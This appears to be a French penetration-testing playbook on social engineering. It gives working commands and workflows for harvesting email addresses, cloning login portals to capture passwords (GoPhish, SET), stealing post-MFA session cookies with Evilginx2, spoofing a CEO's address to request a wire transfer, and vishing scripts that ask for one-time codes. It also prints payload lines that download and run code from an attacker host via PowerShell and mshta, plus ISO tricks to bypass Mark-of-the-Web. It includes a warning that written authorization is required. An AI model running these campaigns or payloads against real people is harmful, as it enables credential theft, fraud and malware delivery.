---
title: "Social Engineering — Phishing & Pretexting"
domain: security
subdomain: pentest
phase: 04-exploitation
type: playbook
tags: [social-engineering, phishing, spear-phishing, gophish, set, vishing, pretexting, pentest]
difficulty: intermediate
status: stable
updated: "2025-05-14"
---
## Reconnaissance préalable (OSINT pour SE)

```bash
# Cartographier l'organisation : LinkedIn pour organigramme, noms, postes, outils utilisés
# → identifier les cibles prioritaires (DAF, RH, IT helpdesk, C-suite)

# Découvrir le pattern d'emails (prenom.nom@company.com, p.nom@company.com, etc.)
# Hunter.io : https://hunter.io/domain/{{TARGET_DOMAIN}}

# Récolte automatisée
theHarvester -d {{TARGET_DOMAIN}} -b google,linkedin,bing,hunter

# Énumérer les utilisateurs valides via SMTP
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t {{MAIL_SERVER}}
smtp-user-enum -M RCPT -U emails.txt -t {{MAIL_SERVER}} -p 25

# Vérifier la configuration anti-spoofing avant toute campagne
dig TXT {{TARGET_DOMAIN}}               # SPF record
dig TXT _dmarc.{{TARGET_DOMAIN}}        # DMARC policy
dig TXT _domainkey.{{TARGET_DOMAIN}}    # DKIM
```

Si DMARC est absent ou en mode `p=none`, le spoofing d'adresse expéditeur est possible sans contrôle.

## GoPhish — Campagne de phishing

```bash
# Démarrer GoPhish
./gophish
# Interface web : https://localhost:3333
# Credentials par défaut : admin / (voir logs au premier démarrage)
```

Workflow GoPhish :

1. **Sending Profile** — configurer le relay SMTP (SendGrid, AWS SES, serveur dédié)
2. **Landing Page** — cloner le portail cible avec `Import Site` depuis l'URL réelle (VPN, OWA, SSO)
   - Activer "Capture Submitted Data" + "Capture Passwords"
   - Redirect URL vers la vraie page après soumission
3. **Email Template** — imiter les communications légitimes
   - IT support : "Action requise — Votre compte expire dans 24h"
   - RH : "Fiche de paie disponible — authentifiez-vous"
   - Direction : "Document confidentiel partagé"
4. **Users & Groups** — importer la liste CSV des cibles
5. **Campaign** — lancer et monitorer en temps réel

```bash
# Export des résultats
# Dashboard → Campaigns → Results → Export CSV
# Métriques : emails envoyés, ouverts, clics, credentials soumis, signalements
```

## SET (Social Engineering Toolkit)

```bash
# Lancer SET
setoolkit

# Credential Harvester (cloner un site)
# 1) Social-Engineering Attacks
# → 2) Website Attack Vectors
# → 3) Credential Harvester Attack Method
# → 2) Site Cloner
# Entrer l'URL à cloner et l'IP d'écoute ({{LHOST}})

# Spear Phishing avec payload
# 1) Social-Engineering Attacks
# → 1) Spear-Phishing Attack Vectors
# → 1) Perform a Mass Email Attack

# Générer un payload macro Word
# 1) Social-Engineering Attacks
# → 3) Infectious Media Generator
# → 1) File-Format Exploits
```

## Evilginx2 (reverse proxy — bypass 2FA)

```bash
# Démarrer evilginx2
evilginx2 -p /usr/share/evilginx/phishlets/

# Configurer le domaine de phishing
config domain {{PHISHING_DOMAIN}}
config ip {{LHOST}}

# Charger un phishlet (Office365, Gmail, LinkedIn, GitHub...)
phishlets hostname o365 {{PHISHING_DOMAIN}}
phishlets enable o365

# Créer une URL de leurre
lures create o365
lures get-url 0

# Monitorer les sessions capturées (session tokens + cookies)
sessions
sessions 1
```

Evilginx2 agit comme proxy MitM : il capture les session cookies **après** authentification MFA, permettant de rejouer la session sans connaître le second facteur.

## Email spoofing et pretexting

```bash
# Test de spoofing avec swaks
swaks \
  --to victim@{{TARGET_DOMAIN}} \
  --from ceo@{{TARGET_DOMAIN}} \
  --server {{MAIL_SERVER}} \
  --header "Subject: Action urgente requise" \
  --body "Merci de traiter ce virement en priorité."

# Vérifier la délivrabilité avant envoi
# mail-tester.com, mxtoolbox.com/emailhealth

# Enregistrement d'un domaine typosquat
# company.com → cornpany.com, company-support.com, company-helpdesk.com
```

Scénarios de pretexting courants :

| Prétexte | Cible | Objectif |
|----------|-------|----------|
| IT Support — "compte compromis" | Tous employés | Credentials / accès VPN |
| Audit interne — "vérification accès" | Managers | Accès systèmes sensibles |
| RH — "mise à jour IBAN" | DAF | Fraude au virement |
| Direction — "document urgent" | Assistants | Clic sur pièce jointe |
| Livraison colis — "confirmation adresse" | Tous | Données personnelles |

## Vishing (phishing vocal)

```bash
# Caller ID spoofing via SIP trunk ou services dédiés (SpoofCard, MySudo)
# Script type support IT :
# "Bonjour, je suis Marc du support IT. Nous détectons une connexion
#  suspecte depuis [pays] sur votre compte. Pour sécuriser votre accès,
#  j'ai besoin de vérifier votre identité — pouvez-vous me confirmer
#  votre mot de passe temporaire reçu par SMS ?"

# Objectifs vishing :
# - Obtenir un OTP / code 2FA en temps réel
# - Convaincre d'installer un "outil de diagnostic" (AnyDesk, TeamViewer)
# - Récupérer des informations d'annuaire interne
```

## Payloads de phishing courants

```bash
# LNK file — exécution PowerShell cachée
# Cible du raccourci :
powershell -WindowStyle Hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://{{LHOST}}/payload.ps1')"

# HTA file — delivery via lien dans email
mshta http://{{LHOST}}/shell.hta

# Macro Office (.docm/.xlsm) — voir 13-client-side.mdx

# ISO/IMG — bypass Mark-of-the-Web
# Les fichiers montés depuis un ISO n'héritent pas de Zone.Identifier
# → contient DLL + LNK, aucun avertissement SmartScreen
mkisofs -o payload.iso -J -r /path/to/payload_files/
```

Formats par taux de détection croissant (2024) : `.iso` < `.lnk` < `.hta` < `.docm` < `.exe`

<Warning>
Le phishing sans autorisation explicite et écrite est une infraction pénale. L'autorisation doit lister les employés ciblables, les vecteurs autorisés (email, téléphone, SMS), et les limites (ex. : pas de credential harvesting sur des comptes réels de production).
</Warning>

<Tip>
Les campagnes les plus efficaces usurpent des processus internes avec un sentiment d'urgence — "Votre compte sera suspendu dans 24h" ou "Virement requis avant 17h". Personnaliser avec le prénom de la cible, le nom de son manager (OSINT LinkedIn) et des références à des outils internes identifiés augmente significativement le taux de clic.
</Tip>
